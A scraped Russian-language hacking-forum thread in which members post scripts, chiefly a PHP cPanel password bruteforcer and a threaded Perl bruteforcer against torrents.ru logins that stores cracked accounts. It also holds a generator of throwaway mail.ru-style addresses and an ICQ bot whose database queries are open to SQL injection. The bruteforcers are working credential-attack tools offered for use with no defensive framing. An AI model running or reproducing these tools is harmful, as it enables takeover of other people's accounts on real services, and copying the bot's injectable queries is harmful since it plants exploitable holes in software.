    4 Jan 2009
    Messages:
    12
    Likes Received:
    15
    Reputations:
    0
    cPanel 11 Bruteforcer
    PHP:
    [/b]

    [COLOR=White]cPanel 11 Bruteforcer [php][/COLOR]


    [PHP]<?php  
    echo "URL (cPanel Main Page e.G http://site.com:2082): ";  
    $url trim(fgets(STDIN));  
    echo 
    "USER TO BRUTE: ";  
    $user trim(fgets(STDIN));  
    echo 
    "PASSLIST: ";  
    $passlist trim(fgets(STDIN));  
    brute_cPanel($url$user$passlist);  
    function 
    login_cPanel($url$user$pass)  
    {  
        
    $target trim($url)."/login/";  
        
    $post_data "login_theme=cpanel&user=".$user."&pass=".$pass;  
        
    $referer trim($url);  
        
    $user_agent "Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3";  
        
    $curl_conf = array(  
            
    CURLOPT_RETURNTRANSFER => TRUE,  
            
    CURLOPT_FOLLOWLOCATION => TRUE,  
            
    CURLOPT_USERAGENT => $user_agent,  
            
    CURLOPT_REFERER => $referer,  
            
    CURLOPT_POST => TRUE,  
            
    CURLOPT_POSTFIELDS => $post_data  
        
    );  
        
    $curl_handle curl_init($target);  
        
    curl_setopt_array($curl_handle$curl_conf);  
        
    $content curl_exec($curl_handle);  
        
    file_put_contents("result.htm"$content);  
        if (!
    preg_match("[Login Attempt Failed\!]"$content))  
        {  
            return 
    true;  
        }  
        else  
        {  
            return 
    false;  
        }  
    }  
    function 
    brute_cPanel($url$user$passlist)  
    {  
        
    $passes file($passlist);  
        
    $count count($passes);  
        
    $counter 0;  
        echo 
    "CHECKING FOR ".$count." PASSES\r\n";  
        while (
    $counter $count):  
            
    $current_pass trim($passes[$counter]);  
            if (
    login_cPanel($url$user$current_pass))  
            {  
                echo 
    "SUCCESS: ".$current_pass."\r\n";  
                return 
    true;  
            }  
            
    $counter++;  
        endwhile;  
        return 
    false;  
    }  
    ?>
     
    2 people like this.
  13. Qisse

    Qisse Banned

    Joined:
    2 Jan 2009
    Messages:
    11
    Likes Received:
    16
    Reputations:
    0
    Генератор e-mail

    Генератор e-mail

    PHP:
    <?php 
    /*  bk.ru || list.ru || mail.ru || inbox.ru  */ 
    $domain 'bk.ru'
    /* Generator */ 
    $fp2 fopen("3d_mail.txt""a"); 
    $str 'abcdefghijklmnopqrstuvwxyz0123456789'
    for (
    $iii=0$iii<strlen($str); $iii++) { 
    for (
    $ii=0$ii<strlen($str); $ii++) { 
    for (
    $i=0$i<strlen($str); $i++) { 
    fputs($fp2$str[$i].$str[$ii].$str[$iii]."@".$domain."\r\n"); 
    }}} 
    fclose($fp2); 
    ?>
    Данный гавно скриптик сгенерит 3х значные имейлы вида мыло@домен.ру Всего генерит 46656 мыл.
     
  14. burcev

    burcev New Member

    Joined:
    30 Jun 2008
    Messages:
    26
    Likes Received:
    1
    Reputations:
    0

    Перезалейте, пожалуйста, ссылка битая. Очень хочется посмотреть. :)
     
    1 person likes this.
  15. lisa99

    lisa99 Banned

    Joined:
    15 Jul 2008
    Messages:
    359
    Likes Received:
    200
    Reputations:
    70
    я уже давно ajax наслаждаюсь)
    А что здесь сделал именно ты? Чем лучше, чем у автора?
    ===
    я не поленилась, бегло посмотрела архив. сжатая библиотека js...и тд.
    в общем, в чем разница по сравнению с этим?
    http://www.jstoolbox.com/proekty/lightgallery/
     
    #555 lisa99, 10 Jan 2009
    Last edited: 10 Jan 2009
    3 people like this.
  16. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    В автоматике добавления картинок. Только в этом. Нигде не видел варианта, где людям просто надо вписать кол-во картинок и название галереи и расширение на все файлы

    А то, что основанно именно на lightgallery я и не скрывал, в посте по моему это отмечено (непонятно зачем бегло смотреть архив и не читать САМО сообщение)
     
    1 person likes this.
  17. t00th

    t00th Banned

    Joined:
    15 Jul 2007
    Messages:
    37
    Likes Received:
    15
    Reputations:
    6
    Простой icq бот с кривым кодом, но кому надо исправит.
    MySQL не знаю, тупо гуглом искал запросы
    HTML:
    #!/usr/bin/python
    # -*- coding: cp1251 -*- 
    from twisted.words.protocols import oscar 
    from twisted.internet import protocol, reactor 
    from urllib import quote 
    import urllib2 
    import re 
    import MySQLdb 
    import sys 
    import time 
    import md5
      
    SN = '' 
    PASS = '' 
    icqMode = 1 
    hostport = ('login.icq.com', 5190) 
    infoMessage = "This is pyBot version 0.00001" 
    too_much = "Sorry but you can send only 1 requests per 10 seconds"
    
    class B(oscar.BOSConnection): 	
        capabilities = [oscar.CAP_CHAT]  	
        
        def initDone(self):
            self.requestSelfInfo().addCallback(self.gotSelfInfo) 
            self.requestSSI().addCallback(self.gotBuddyList)
    
        def gotSelfInfo(self, user):
            print user.__dict__
            self.name = user.name
    
        def gotBuddyList(self, l):
            print l 		
            self.activateSSI()
            self.setProfile("""Fuck on this""")
            self.setIdleTime(0)
            self.clientReady()
      	
        def receiveMessage(self, user, multiparts, flags):
            message = multiparts[0][0] 		
            if message == '!reg': 			
                self.reg(user.name) 		
            if message.startswith('!weather') and self.check(user.name): 			
               message, town = message.split()		         
               self.sendMessage(user.name, self.weather(town), wantAck = 0, autoResponse = 0, offline = 0) 			
            if message.startswith('!info') and self.check  (user.name):
                self.sendMessage(user.name, infoMessage, wantAck = 0, autoResponse = 0, offline = 0)
            if message.startswith('!md5') and self.check(user.name):
                message, md5_val = message.split()
                self.sendMessage(user.name, self.md5_conv(md5_val), wantAck = 0, autoResponse = 0, offline = 0)
    
        def check(self, uin):
            if (self.check_uin(uin) and self.last_req(uin)):
                return True
    
        def check_uin(self, uin):
            try: 
                conn = MySQLdb.connect(host= "", user = "", passwd = "", db = "")
            except MySQLdb.Error, e:
                print "Error", e 		
            try:
                cursor = conn.cursor()
                cursor.execute("""SELECT * FROM users WHERE uin='%s'""" % uin)      
                result = [row[0] for row in cursor.fetchall()]
                if not result:
                    print "You not registred in service"
                else:
                    return True
            except MySQLdb.Error, e:
               print "Error", e
            cursor.close()
            conn.commit()
            conn.close()
    
        def md5_conv(self, value):
            m = md5.new(value)
            return m.hexdigest()
      	
        def weather(self, town):
            url = 'http://pogoda.rbc.ru/search?search='
            hex_town = quote(town)
            res = urllib2.urlopen(url+hex_town).read()
            day = re.search("<p class='today'><b>(.*)</b>", res, re.M)
            if day:
                return day.group(1)
            else:
                return "Town not found"
    
        def last_req(self, uin): 
            try:
                conn = MySQLdb.connect(host = "", user = "", passwd = "", db = "")
            except MySQLdb.Error, e:
                print "Error", e
            try:
                cursor = conn.cursor()
                cursor.execute("""SELECT last_req FROM users WHERE uin=%s""" % uin)
                result = [row[0] for row in cursor.fetchall()]
                result = int(time.time() - result[0])
                cursor.execute("""UPDATE users SET last_req=%f WHERE uin='%s'""" % (time.time(), uin))
                if (result > 10):
                    return True
                else:
                    self.sendMessage(uin, too_much, wantAck = 0, autoResponse = 0, offline = 0) 		         
            except MySQLdb.Error, e:
                print "Error", e
                cursor.close()
                conn.commit()
                conn.close()
    
        def reg(self, uin):
            try:
                conn = MySQLdb.connect(host = "", user = "", passwd = "", db = "")
            except MySQLdb.Error, e:
                print "Error %d: %s" % (e.args[0], e.args[1])
                sys.exit(1)
            try:
                cursor = conn.cursor()
                cursor.execute("""SELECT * FROM users WHERE uin='%s'""" % uin)      
                result = [row[0] for row in cursor.fetchall()]
                if result:
                    self.sendMessage(uin, "You already registred in this service", wantAck = 0, autoResponse = 0, offline = 0)
                else:
                    cursor.execute("""INSERT INTO users (uin, last_req) VALUES ('%s', '%s')""" % (uin,time.time()))
                    print "Number of rows inserted: %d" % cursor.rowcount
                    cursor.close()
            except MySQLdb.Error, e:
                print "Error %d: %s" % (e.args[0], e.args[1])
                sys.exit(1)
                conn.commit()
                conn.close()
    class OA(oscar.OscarAuthenticator):
        BOSClass = B  protocol.ClientCreator(reactor, OA, SN, PASS, icq=icqMode).connectTCP(*hostport)
    reactor.run()
     
  18. fuck all

    fuck all Member

    Joined:
    23 Nov 2008
    Messages:
    13
    Likes Received:
    8
    Reputations:
    0
    Torrents.ru Bruteforce

    Вот мой Torrents.ru брут на перле:
    З.Ы. Особо не пинайте т.к. в програмировании вообще почти не шарю))

    Code:
    #!/usr/bin/perl
    
    ###################################################
    # В папку со скриптом киньте 2 файла:             #
    # pass.txt (Словарь), good.txt (Взбрученные аккки)#
    ###################################################
    
    use strict;
    use LWP::UserAgent;
    use HTTP::Cookies;
    use Getopt::Std;
    use threads;
    print "\n Torrent.ru Bruteforce by Fuck all\n";
    print "\n Starting brute...\n";
    
    open (FP , '<pass.txt') || die ("No password list! \n");  # Пароли в  pass.txt
    my @pass = <FP>;
    close FP;
    
    my $login_username = 'ALeXX'; # ЛОГИН!
    my $i=0;
    my @thr;
    my $ua = LWP::UserAgent->new;
    my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
    $ua->cookie_jar($cookies);   
    for (@pass)
    {
    my $nowpass = $_;
    chomp @pass;
    if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
    $thr[$i]=threads->create(\&brute,$login_username,$nowpass);
    
    $i=($i+1) % 5; #Количество потоков  (5)
    
    }
    
     foreach(threads->list) { $_->join; }
    
    sub brute()
    {
    
    $ua->cookie_jar($cookies);
    my $req = $ua->post('http://torrents.ru/forum/login.php', {
    'st.posted'=>'set',
    'login_username'=>$_[0],
    'login_password'=>$_[1],
    'login'=>'%C2%F5%EE%E4'
    })->as_string;
    
    my $result = $req =~/302 Found/;
    if ($result)
    {
    print "[+]OK $_[0]:$_[0]\n";
    open (G , '>>good.txt');
    print G $_[0].":".$_[1]."\n";
    close G;
    die ('PASSWORD FOUND!!!!!\n\n\n');
    }
    else
    {
    print "[-] BAD $_[1]\n";
    
    }}
    
    #c0ded by Fuck all;
     
  19. D Mak

    D Mak Elder - Старейшина

    Joined:
    23 Jun 2007
    Messages:
    136
    Likes Received:
    27
    Reputations:
    0
    смысл торент.ру брутить?
    там итак нахаляву качать можно..
     
    1 person likes this.
  20. ANTIJABBER

    ANTIJABBER New Member

    Joined:
    6 Jan 2009
    Messages:
    36
    Likes Received:
    0
    Reputations:
    0
    Рейтинг =)